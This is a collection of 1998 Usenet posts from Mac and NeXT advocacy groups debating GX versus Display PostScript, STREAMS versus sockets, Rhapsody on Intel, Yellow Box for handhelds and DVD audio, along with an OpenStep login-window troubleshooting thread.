think a better approach would have been to look at GX, Taligent and DPS
and take the best features of all technologies, those that overlap etc.
and try to come up with a really well thoughtout library in which
QuickDraw could live in for legacy purposes however that does not appear
to be the case.
If it helps I was not too pleased with the dropping of STREAMS in favor of
sockets, another very bad move in my book.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: STREAMS (was Re: GX vs PS)
Date: 5 Jun 1998 03:34:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6neppp.ea4.sal@panix3.panix.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net>
On Thu, 04 Jun 1998 22:44:36 -0400, Homer Simpson <simpsonh@post.drexel.edu> wrote:
>If it helps I was not too pleased with the dropping of STREAMS in favor of
>sockets, another very bad move in my book.
I was under the impress that socket support would be done on top of an
OpenTransport STREAMs lib in MacOSX and beyond. Is this not the case?
Is Apple going to dump OT?
--
sal@panix.com
Salvatore Denaro
From: Steve.Hideg.1@nd.edu (Steve Hideg)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 04 Jun 1998 23:17:39 -0500
Organization: University of Notre Dame
Message-ID: <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <see-below-13059822 <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
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In article <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> Here's a little exercise for you: spend some time writing a major app
> in Carbon. Spend more time writing that same app in Yellow. With all
> the spare time you have left, add lots of new features to the Yellow
> version to boot.
>
> People who think that cross-platform is the only advantage of Yellow
> over Carbon are clueless, and are very likely not developers -- or at
> least have never used the Yellow APIs.
Except that all the cool new things like KeyChain, Navigation Services,
NSL, and Crypto are not available in the Yellow Box APIs, and they have no
plans to move them there. They will only be available to Carbon.
This is what an Apple OS engineer told me at WWDC.
--Steve Hideg
hideg.1@nd.edu
From: kychenABC@hpl.hp.com (Kay-Yut Chen - remove ABC in email to reply)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Thu, 04 Jun 1998 22:21:37 GMT
Organization: All USENET -- http://www.Supernews.com
Message-ID: <35771d95.13913887@news.supernews.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <mNOSPAMroeder-0206981658270001@192.168.21.176> <35749ed6.0@206.25.228.5> <mNOSPAMroeder-0306981149160001@192.168.21.176>
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On Wed, 03 Jun 1998 11:49:16 -0700, mNOSPAMroeder@macromedia.com
(Michael Roeder) wrote:
>In article <35749ed6.0@206.25.228.5>, jkheit@xtdl.com wrote:
>
>> mNOSPAMroeder@macromedia.com (Michael Roeder) wrote:
>> > Oh, dear, and I really needed SimCity and Quake for my work! Man,
>> > not having games to run on my Mac, what a bummer!
>>
>> It is. Games, entertainment, etc., that sector is a large and
>> growing sector. It's one of the biggest reasons why people buy
>> computers, consistently throughout time. Not addressing it, or an
>> inability to address it effectively is a gaping hole for the
>> platform.
>
>Let's see ... there are more games available for Windows than for the Mac,
>and even though I don't play computer games (I'm a hockey goalie; what do
>I need with computer games?) that means I should get a Windows box instead
>of a Mac? Is that what you mean?
>
>Naaaah, can't possibly be.
>
The original paragraph never addressed YOU. It said "it is one of the
reasons why PEOPLE buy computers", not why you buy computers.
Windows box is probably not for you. But it is a better choice for
people who want to play games on their computers.
Kay-Yut
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 5 Jun 1998 03:38:58 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6neq2i.ea4.sal@panix3.panix.com>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <slrn6n3g2r.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <slrn6n5k97.2kj.sal@panix3.panix.com> <slrn6n8f9p.ake.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
On 2 Jun 1998 17:58:18 GMT, Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
>On 1 Jun 1998 16:04:55 GMT, Salvatore Denaro <sal@panix3.panix.com> wrote:
>:Why can't Rhapsody on Intel be a loss leader to promote Rhapsody/MacOS-X on
>:PPC?
>Sun is much more profitable than Apple, and Solaris x86 doesn't present
>any competitive threat in Sun's most important markets---large scale
>multiprocessing $50K+ Unix machines.
As it stands, Apple is competing with x86 machines now. Not provideing an
OS for x86 is not going to increase PPC sales, only decrease the chance
that someone will try Rhapsody on intel and then buy a PPC machine.
--
sal@panix.com
Salvatore Denaro
Message-ID: <357793C0.97C5EAF0@removehome.com>
From: Thomas Poff <thomas100@home.com>
Organization: @Home Network
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: YellowBox on handhelds
References: <3576c2a1.0@news.depaul.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Thu, 04 Jun 1998 22:55:00 GMT
NNTP-Posting-Date: Thu, 04 Jun 1998 15:55:00 PDT
Hi,
To answer your question this was a thread I started.
DPS was always less mandatory for base-level Yellowbox implementations
than people thought. The move away from DPS towards PDF helps for
high-end implementations. For base-level Yellow compatibility you could
still do a pseudo-Yellow Box without PDF support (say for a smart-phone
or any other focused application).
No question that there are those in Apple who see the potential of
putting Yellowbox on a very low-end device. Timing is perhaps more of
an issue. And I still believe that putting most of Yellow into gates
(i.e. an ASIC) would be a most incredible move!
The reason is/was that if you take all of the view-based APIs among
others and coerce them into an ASIC (aka smart display controller) you
could plug Java or Obj-C, whatever into the scene in a low-cost
processor and have it _scream_. You'd also have an embeddable core that
would allow vendors with any low-end 16/32 bit processor to engineer a
platform (i.e smart phone, etc) in no time flat.
I've for quite a long time [years] tho't that this kind of environment
[Yellowbox] is the ultimate candidate for gluing to an embeddable core.
So much so that I wrote a patent to cover it. Getting financing and
cooperation is the hard part.
It'll be very interesting to see what happens... as there is just so
much potential for YellowBox [and perhaps soon other equivalent
technologies] to excel. It would be great to see Yellowbox become the
"D*lby" of the '90s but that may only just be my vision belonging to
nobody else.
Thomas
thomas100@removehome.com
Jonathan W Hendry wrote:
>
> A while back there was a raging argument about YellowBox in
> a handheld. One of the main obstacles discussed was the
> requirements of DPS. That obstacle seems to have been removed.
>
> Can anyone think of a reason Apple couldn't field a YellowBox
> compatible API for handhelds? It could use a very minimal
> kernel underneath, and a version of Quickdraw/E tuned for a small
> screen and tight memory. Likewise for the YB frameworks themselves.
>
> Unix wouldn't be necessary, so that's not an issue.
>
> --
> "... and subpoenas for all." - Ken Starr
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
now?)
Date: Thu, 04 Jun 1998 21:13:35 -0700
Organization: Trilithon Research and Trading
Message-ID: <3577706F.2473A625@trilithon.com>
References: <6l5oe5$ebr$5@ns3.vrx.net> <B19C0AF3-726E1@206.165.43.122>
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Lawson English wrote:
* Maury Markowitz <maury@remove_this.istar.ca> said:
* * I suppose I should expect such a sophmotic
* * "prove me wrong" comment from someone who's address
* * is "geek-central".
* * The issue is not whether GX did it, but if no one else
* * did, why did they?
* Um....
* GUIs, anyone?
* What a maroon.
A new application area for GX --- marine signalling? At this
rate, you could compete with ARINC.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Thu, 04 Jun 1998 21:21:35 -0700
Organization: Trilithon Research and Trading
Message-ID: <3577724F.5FDB398C@trilithon.com>
References: <6l0kkl$cmd$3@ns3.vrx.net> <B199A9F8-267E6@206.165.43.1> <6l5r5k$adf$3@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
* In <B199A9F8-267E6@206.165.43.1> "Lawson English" wrote:
* * The point is MOOT. In the common usage of the word,
* * "moot" means "no longer worth arguing over."
* Twaddle -- it means exactly the opposite, namely that
* "it's still open to debate".
In the meantime, please don't point that moot at me.
[Apologies to Neddy Seagoon].
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: justincsNOSPAM@psi.net (Justin Case)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Fri, 05 Jun 1998 00:20:56 -0500
Organization: Oh, for the hell of it.
Message-ID: <justincsNOSPAM-0506980020570001@ip185.pontiac.mi.pub-ip.psi.net>
References: <6l23dm$84s$1@nnrp1.dejanews.com> <justincsNOSPAM-0206982119070001@ip116.pontiac2.mi.pub-ip.psi.net> <atlauren-0306981238320001@jungleland.acs.uci.edu> <6l6hdj$mp2$1@new-news.cc.brandeis.edu>
-y%"%xcYz/}y+:xU3BN;]\1<'w@TnK1[_d9)>|(Z{XP1+6@2c?w\kAE0l;jn),:.Bl/B
TD(@MtZ''BCd^X}97=;v`4~%bNx+5bYnFhHC!Q4V"\:@XY:sL"B5$$8:54<"mAKy77!l
In article <6l6hdj$mp2$1@new-news.cc.brandeis.edu>, xray@cs.brandeis.edu
(Nathan G. Raymond) wrote:
[snip]
> DVD downs - recorders not standardized, audio not standardized, surround
> field not standarized, more expensive than VHS
>
> DVD ups - movies cheaper than Laserdisc (needs a TV good enough to display
> that quality)
>
> DTS <http://www.dtstech.com/> and Dolby AC-3
> <http://www.atsc.org/document.html> are NOTHING MORE than lossy-compressed
> audio (like MPEG audio and Sony's ATRAC) in a multi-channel bitstream.
> You'll never hear videophiles talk about the lossy sound compression in
> DVD, but for years audiophiles balked at ATRAC in MD and MPEG audio in
> DCC.
>
> Ambisonics <http://www.york.ac.uk/inst/mustech/3d_audio/ambsfaq.htm> can
> be encoded in stereo or a multi-channel bitstream like DTS or AC-3, but
> there isn't any push and consumers don't know a damn thing about audio
> science so we all lose. Ambisonics would be the thing to standardize on
> and would make DVD worthwhile.
>
> Otherwise, its just snazzed-up laserdisc in a smaller package, optionally
This is a silly statement. Anyone who knows anything about home theater
will tell you that 95% of the Laser Discs players out there are solely
analog [can you say 'chroma noise' and related garbage artifacts ?] with a
two channel maximum. Not to mention all the disc flipping to just watch a
single two and a half hour movie and Laser Discs are limited to 16-bit
44.1 kHz sound. DVD is purely digital with the 5.1 standard [basically six
seperate channels] and exclusively uses MPEG-2 compression. DVDs handle
super fidelity 24-bit 96kHz DAC sound.
> a computer peripheral, that is only half-finished and largely
> un-standardized, that will first and foremost give a massive boost to the
> audio, video, and recording studio industries as everyone goes out and
> buys all the necessary gadgets to make the new stuff work. It's all about
> the economics of churn, and getting more money out of everyone's pockets.
> And ultimately, to make an audio-only format for DVD to replace CD and get
> the consumers to pay even MORE for an artist's album, of course!
Like 78's to 45's to EP's to LP's to CDs _OR_ 8-Tracks to Cassettes to
DAT? DVD is the most logical upgrade to these audio mediums as a single
DVD can hold 9.4 Gigabytes of information [4.7 gigs per side]!
> (Actually DVD does have the ability to encode several camera angles and
> allow the viewer to switch between them, unlike laserdisc. Most likely
...and many DVD titles also can be played in 28 different languages, fully
implimented closed captioning per language, multiple versions of the movie
like the Directors cut, long box formatting, etc.
> the designers had porn movies in mind - it was porn movies that sold VCRs
> and made them popular. So I'm sure it will sell DVD and it will become
> popular.)
I have yet to see a single porno DVD movie for sale in the United States.
[snip]
--Justin
"What's new, Normie?"
"Terrorists, Sam. They've taken over my stomach and they're demanding beer."
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Fri, 05 Jun 1998 01:13:20 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35778C80.594E4E7@nstar.net>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM> <6jslbi$i4k1@odie.mcleod.net> <356263EB.E37C0897@nstar.net> <356a268e.0@news.camtech.net.au> <6kkeug$j55$1@news10.ispnews.com> <356e6a40.0@news.camtech.net.au> <6kn7t6$npv$7@newsfep4.sprintmail.com> <rmcassid-2905981526310001@dante.eng.uci.edu> <slrn6n17mu.lsb.sal@panix3.panix.com> <3570A750.56BE9808@nstar.net> <slrn6n5jm1.2kj.sal@panix3.panix.com> <3572E0C5.BDEEDD46@nstar.net> <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1@nstar.net> <slrn6n6csr.a9v.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net> <slrn6nepl9.ea4.sal@panix3.panix.com>
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NNTP-Posting-Date: 5 Jun 1998 06:18:13 GMT
Salvatore Denaro wrote:
> [...] I doubt that real percent of techs are more than 2% off
> from that estimate.
>
> Are you suggesting that this is not the case?
Yes.
> And that most people who
> use computers have a math/sci/eng background? That might have been the
> case from the 50s to the late 70s, but since the advent of cheap small
> systems (and GUIs) computers have moved outside the "glass houses" and
> onto the desks and into the livingrooms of many non-techs.
Those same computers have made 'techs' of many people who previously
were not. I use 'tech' in the context of your label.
> >The connection escapes me. I work "with" a UNIX workstation. As for
>
> Are you a user or a sysadmin? If you are confused feel free to ask your
> boss what he pays you for. :)
Good grief.
[pedantism cut]
> > Guess which platform they're using?
>
> Windows? (any why the hell should it matter? My point was that most users
> are non-technical, and it has nothing to do with what OS/Apps they use.)
Well, you broke in on the conversation between R. Cassidy and myself
regarding the place where such 'non-choice, non-tech' usage existed.
Robert prefers to believe it happens more readily in the MacOS world.
MJP
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 4 Jun 98 23:38:50
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun4233850@slave.doubleu.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1
<35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu>
<35744B61.1DDA4091@nstar.net> <slrn6n8ud7.jbt.sal@panix2.panix.com>
<357498E0.8F6C80B3@nstar.net> <slrn6napbm.5pt.sal@panix3.panix.com>
<35757CB5.6CDC6D14@nstar.net> <6l4j1r$ml5$1@news.xmission.com>
<357618CD.182EDB47@nstar.net> <6l5ku8$ml5$4@news.xmission.com>
<6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>
<SCOTT.98Jun4110326@slave.doubleu.com>
<DCEd1.11112$Kx3.10067396@news.rdc1.sdca.home.com>
In-reply-to: rexr@alta.dt1.sdca.home.com's message of Thu, 04 Jun 1998 21:48:19 GMT
In article <DCEd1.11112$Kx3.10067396@news.rdc1.sdca.home.com>,
rexr@alta.dt1.sdca.home.com (Rex Riley) writes:
In <SCOTT.98Jun4110326@slave.doubleu.com> Scott Hess wrote:
> In article <6l5n7t$cl9$2@sun27.hrz.tu-darmstadt.de>,
> Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
> don@misckit.com (Don Yacktman) wrote:
> >Of course, if you set the same engineers to designing a best
> >of breed system today... I'd love to see what they would come
> >up with...
>
> Back in black, I hope. By the way, there's a rumor I've heard <hmpf>
>
> So long as it's not translucent... Bring back fins!
I'll take it in a GoldenEgg form factor if it has real slots (SMP
style), BigAssbackplane, add-in Raid stack, redundant Pwr Supply,
and Fins!
I'm seeing Slices instead of Cubes, here. Want an SMP+RAID machine?
Two CPU slices and a RAID slice. Latch them together with their cute
modular bus, and you have something cube-like (perhaps wider than it
is tall and deep, but oh well).
Actually, what am I saying, it's almost been done. Check out
http://www.thin.com/
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 98 23:52:10
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun4235210@slave.doubleu.com>
References: <SCOTT.98Jun4112630@slave.doubleu.com> <B19C5D8F-1A901D@206.165.43.122>
In-reply-to: "Lawson English"'s message of 4 Jun 1998 14:20:01 -0700
In article <B19C5D8F-1A901D@206.165.43.122>,
"Lawson English" <english@primenet.com> writes:
Scott Hess <scott@doubleu.com> said:
>But DPS can scale across the distance from 30 feet per pixel down
>to pixels the size of atoms, without losing precision, and without
>requiring the programmer to manually scale things. Under a fixed
>point system, you would have to keep adjusting the quantum, and by
>that I mean _you_, the programmer, would have to adjust the
>quantum for all your coordinates.
With floating point, you lose resolution, the larger you make the
image. Fixed keeps a constant resolution, regardless of the
image-size.
Huh? So with a fixed point system, say I have a 30-foot square image
and can just barely revolve the atoms. So if I try to describe a
30,000-foot square image, I can still resolve the atoms? I think not.
With 32-bit floating point, you get 24 bits of precision that floats
(you can talk about 1/(2^24) or 2^24, but you can't talk about both at
the same time). With 32-bit fixed point, you get 32 bits of precision
that is fixed (you can't talk about 1/(2^24) or 2^24 at _all), Whether
you care all depends on whether you'd rather scale _all_ coordinates
you send to the drawing engine, or whether you'd rather just scale the
drawing engine's pixel size and leave your coordinates alone.
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 4 Jun 98 23:39:39
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun4233939@slave.doubleu.com>
References: <SCOTT.98Jun4112630@slave.doubleu.com> <B19C5D8F-1A901D@206.165.43.122>
In-reply-to: "Lawson English"'s message of 4 Jun 1998 14:20:01 -0700
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: Luke Walshe <lw@yallara.cs.rmit.edu.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have now?)
Date: 5 Jun 1998 08:01:39 GMT
Organization: Comp Sci, RMIT University, Melbourne, Australia.
Message-ID: <6l88l3$j4c$1@goanna.cs.rmit.edu.au>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <ldo-0406981933530001@a24.hn1.wave.co.nz>
NNTP-Posting-User: lw
ldo@geek-central.gen.new_zealand (L Oliveiro) writes:
>In article <rex-0106981554560001@192.168.0.3>, rex@smallandmighty.com
>(Eric King) wrote:
>>I wouldn't be surprised if Apple's new solution also shared the
>>same coordinate space limitations since they're aiming to be compatible
>>with PDF and Postscript.
>Speaking of coordinate space limitations, ever wondered why Adobe's
>Acrobat Reader won't display pages larger than 45 inches on a side,
>whereas GX never had any such limitations ?
Why only 45 inchs ?
They both should be about 455 inchs. Although Acro might use an 8th
of that so it can do 8x zoom. But I doubt it.
Luke.
From: RVerlinde@alva-bv.nl (Reinder)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: Fri, 05 Jun 1998 10:27:25 +0200
Organization: ALVA B.V.
Message-ID: <RVerlinde-ya02408000R0506981027250001@news.bart.nl>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com>
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In article <slrn6neppp.ea4.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
>On Thu, 04 Jun 1998 22:44:36 -0400, Homer Simpson
<simpsonh@post.drexel.edu> wrote:
>>If it helps I was not too pleased with the dropping of STREAMS in favor of
>>sockets, another very bad move in my book.
>
>I was under the impress that socket support would be done on top of an
>OpenTransport STREAMs lib in MacOSX and beyond. Is this not the case?
>Is Apple going to dump OT?
>
The 1997 plan called for the dumping of OT, but strong developer protest
seems to have reversed that decision somewhat. 8.5, 9, and X will have OT
as base platform, but AFAIK the Rhapsody plans still call for part of OT on
top of sockets, which everybody says is a stupid move. I do not know enough
of this to have a opinion of myself, so I tend to flock with the crowd.
--
Reinder Verlinde
From: silver@coolmail.to
Newsgroups: comp.sys.next.advocacy
Subject: Hey
Date: 5 Jun 1998 08:54:42 GMT
Organization: NA
Message-ID: <6l8boi$820$1@news1.abac.com>
Please reply if you see this.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6l8boi$820$1@news1.abac.com>
Control: cancel <6l8boi$820$1@news1.abac.com>
Date: 05 Jun 1998 08:35:14 GMT
Organization: BOFH Space Command, Usenet Division
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Sender: silver@coolmail.to
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.system
Subject: Re: Shaking input box
Date: 5 Jun 1998 09:59:49 GMT
Organization: the unstoppable code machine
Message-ID: <6l8fil$ff4@ragnarok.en.uunet.de>
References: <6l6t5u$c3k$2@ns3.vrx.net>
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Maury Markowitz wrote:
> A few days ago someone suggested that I use "exit" typed into a login box
> to avoid running out of memory. Sure enough, this has saved me a few times
> when I could see the swap getting heavy (I'm leaking NSImages somewhere I
> think).
>
> However about 1/3rd of the time I use it, I get something else entirely.
> When the system gets ready to run again, the login box appears and starts
> shaking back and forth, as if I had typed in the wrong name/passwork. This
> continues for some time, and the spinny cursor comes up. Sometimes it stops
> and everything is well, othertimes it goes "forever".
Using 4.2 on x86 hardware? I've seen this several times, too. I think
when the window server or loginwindow.app come up, they try to contact
the event driver in order to be able to respond to key presses. It seems
that sometimes the two are not able to talk to each other right away,
or the event driver is caught in such a state that it just blabbers a
whole lot of nonsense (maybe a race condition?) and poor ol'
loginwindow.app gets confused. Might also be one of those bugs that
are hidden in some x86 motherboards; Doom II also has a weird problem
with some motherboards generating excessive keystrokes, making your
player spin endlessly.
Anyway, if you exit the window server and see the loginwindow
shaking unwillingly, just type exit again. That should cause
the window server to exit again and re-synch with the event driver.
Works for me..
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.system
Subject: Re: Shaking input box
Date: 5 Jun 1998 12:50:04 GMT
Organization: Idiom Communications
Message-ID: <6l8phs$emp$4@news.idiom.com>
References: <6l6t5u$c3k$2@ns3.vrx.net> <6l8fil$ff4@ragnarok.en.uunet.de>
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Cc: hhoff@ragnarok.en.REMOVETHIS.uunet.de
Holger Hoffstaette may or may not have said:
-> Might also be one of those bugs that
-> are hidden in some x86 motherboards; Doom II also has a weird problem
-> with some motherboards generating excessive keystrokes, making your
-> player spin endlessly.
I've seen that problem with Doom also, and I would guess that it has more to
do with a key-up event getting lost. I've also had a few wierd episodes with
menus under OpenStep 4.2, where it appears that the mouseup sometimes gets
lost. Maybe there's a flake or two in the event coalescing code?
-jcr
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.system
Subject: Re: Shaking input box
Date: 5 Jun 1998 08:46:32 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l8b98$gdt$2@ns3.vrx.net>
References: <6l6t5u$c3k$2@ns3.vrx.net> <6l8fil$ff4@ragnarok.en.uunet.de>
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Cc: hhoff@ragnarok.en.REMOVETHIS.uunet.de
In <6l8fil$ff4@ragnarok.en.uunet.de> Holger Hoffstaette claimed:
> Using 4.2 on x86 hardware?
Yup.
> when the window server or loginwindow.app come up, they try to contact
> the event driver in order to be able to respond to key presses. It seems
> that sometimes the two are not able to talk to each other right away
Huh.
> or the event driver is caught in such a state that it just blabbers a
> whole lot of nonsense (maybe a race condition?) and poor ol'
> loginwindow.app gets confused. Might also be one of those bugs that
> are hidden in some x86 motherboards; Doom II also has a weird problem
> with some motherboards generating excessive keystrokes, making your
> player spin endlessly.
Huh.
> Anyway, if you exit the window server and see the loginwindow
> shaking unwillingly, just type exit again.
The thing is I can't type or hit the buttons unless I get to it real fast,
because then the cue is stuffed and nothing gets in.
Maury
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: STREAMS (was Re: GX vs PS)
Date: Fri, 05 Jun 1998 08:51:44 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0506980851440001@chestnut1-20.slip.netaxs.com>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6neppp.ea4.sal@panix3.panix.com> <RVerlinde-ya02408000R0506981027250001@news.bart.nl>
Mail-Copies-To: jayfar@netaxs.com
In article <RVerlinde-ya02408000R0506981027250001@news.bart.nl>,
RVerlinde@alva-bv.nl (Reinder) wrote:
| In article <slrn6neppp.ea4.sal@panix3.panix.com>, sal@panix3.panix.com
| (Salvatore Denaro) wrote:
|
| >On Thu, 04 Jun 1998 22:44:36 -0400, Homer Simpson
| <simpsonh@post.drexel.edu> wrote:
| >>If it helps I was not too pleased with the dropping of STREAMS in favor of
| >>sockets, another very bad move in my book.
| >
| >I was under the impress that socket support would be done on top of an
| >OpenTransport STREAMs lib in MacOSX and beyond. Is this not the case?
| >Is Apple going to dump OT?
| >
| The 1997 plan called for the dumping of OT, but strong developer protest
| seems to have reversed that decision somewhat. 8.5, 9, and X will have OT
| as base platform, but AFAIK the Rhapsody plans still call for part of OT on
| top of sockets, which everybody says is a stupid move. I do not know enough
| of this to have a opinion of myself, so I tend to flock with the crowd.
MacInTouch featured a letter from Peter Sichel of Sustainable Softworks
(who knows the ins and outs of OT) on this issue:
<URL:http://www.macintouch.com/nwstrat.html>
Apparently the OT engineers strongly favor STREAMS, but "senior
management" chooses to Think different.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Message-ID: <1998060515472000.LAA15676@ladder01.news.aol.com>
Date: 05 Jun 1998 15:47:20 GMT
Organization: AOL http://www.aol.com
References: <SCOTT.98Jun4233850@slave.doubleu.com>
scott hess said:
>Two CPU slices and a RAID slice. Latch them together with their cute
>modular bus, and you have something cube-like (perhaps wider than it
>is tall and deep, but oh well).
This is brilliant! Especially if one could then add the ability to do
multi-processing over a network. Add in removable media via USB and you've a
computer which can truly grow with time.
As I recall, there's a line of disk dive cases done somewhat like the above.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 5 Jun 1998 16:41:28 GMT
Organization: P & L Systems
Message-ID: <6l973o$adf$7@ironhorse.plsys.co.uk>
References: <6l6f7l$adf$6@ironhorse.plsys.co.uk> <B19C18B8-A6310@206.165.43.122>
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Cc: english@primenet.com
In <B19C18B8-A6310@206.165.43.122> "Lawson English" wrote:
> > > GX is the most elegant and compact solution to this problem that anyone
> > > has ever come up with. (Go on, prove me wrong...)
> > >
> >At a guess: ATSUI.
>
> For handling of multiple languages (leaving aside the unified Han
> issue), ATSUI will likely do everything that GX does, formatting-wise.
